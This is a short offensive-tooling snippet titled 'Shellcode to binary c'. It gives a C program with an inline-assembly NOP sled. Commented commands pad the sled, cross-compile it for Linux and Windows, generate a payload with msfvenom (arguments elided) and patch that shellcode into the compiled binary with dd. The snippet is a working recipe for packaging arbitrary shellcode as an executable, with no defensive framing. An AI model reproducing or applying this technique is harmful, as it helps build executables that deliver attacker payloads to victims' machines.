Shellcode to binary c

hollow.c

int main(int argc, char** argv) {
  __asm__ (
    "nop \n\t"
//     );
//   return 0;
// }
// python -c 'print("    \"nop \\n\\t\"\n"*2000)' >> hollow.c
// echo -e "    );\n  return 0;\n}" >> hollow.c
// gcc hollow.c -o hollow # gcc hollow.c -m32 -o hollow # i686-w64-mingw32-gcc -o hollow.exe hollow.c # x86_64-w64-mingw32-gcc -o hollow.exe hollow.c
// msfvenom ... > shellcode.asm
// dd if=shellcode.asm of=hollow seek=$(grep -Eab $(echo -e '\x90{100}') hollow | cut -d : -f 1) bs=1 conv=notrunc
// -------------------------------------------------------